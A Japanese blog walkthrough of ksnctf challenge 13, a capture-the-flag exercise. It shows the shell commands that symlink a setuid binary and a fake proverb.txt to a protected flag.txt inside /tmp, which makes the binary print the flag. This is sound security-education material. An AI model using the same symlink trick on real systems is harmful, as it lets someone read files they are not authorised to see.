![[ksnctf] Proverb [ksnctf] Proverb](/images/b/a/7/d/c/ba7dcc4913a2ad0c8014f9c4c3f2704681faa61f-13.png)
ksnctfにチャレンジ 第13問目です。
※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。
Proverb
与えられたSSHアカウントでログインすると
[q13@localhost ~]$ ls -al
合計 48
drwxr-xr-x 2 root root 4096 6月 1 05:01 2012 .
drwxr-xr-x. 17 root root 4096 10月 6 03:07 2014 ..
-rw-r--r-- 1 root root 18 5月 11 03:31 2012 .bash_logout
-rw-r--r-- 1 root root 176 5月 11 03:31 2012 .bash_profile
-rw-r--r-- 1 root root 124 5月 11 03:31 2012 .bashrc
-r-------- 8 q13a q13a 22 6月 1 05:21 2012 flag.txt
---s--x--x 6 q13a q13a 14439 6月 1 04:59 2012 proverb
-r--r--r-- 1 root root 755 6月 1 04:58 2012 proverb.txt
-r--r--r-- 1 root root 151 6月 1 04:48 2012 readme.txt
このようなファイル一式が渡されます。 readme.txtには
[q13@localhost ~]$ cat readme.txt
You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.
とあります。
proverb を起動すると proverb.txt に書かれた文章を適当に 表示する仕組みになっているようです。 つまり proverb にどうにかして proverb.txt のかわりに flag.txt を 読みこませればいいようです。
また、tmpを使うようになっていることを考えると シンボリックリンクを利用して flag.txt へのシンボリックリンク proverb.txt を作ればいいはずです。
ですが tmp で作業しようとすると怒られます。 表示する権限がないのですが すでに proverbと proverb.txt が存在するようで /tmp/proverb を起動すると サブディレクトリを作ってね と頼まれます。
よって
cd /tmp
[q13@localhost tmp]$ mkdir sub
[q13@localhost tmp]$ cd sub
[q13@localhost sub]$ ln -s ~/proverb proverb
[q13@localhost sub]$ ln -s ~/flag.txt proverb.txt
[q13@localhost sub]$ ls
proverb proverb.txt
[q13@localhost sub]$ ./proverb
FLAG_X???????????????
[q13@localhost sub]$ exit
でOKです。 本来権限がないはずのファイルにシンボリックリンクが晴れてしまう脆弱性は 場合によってはかなり危険な事態になります。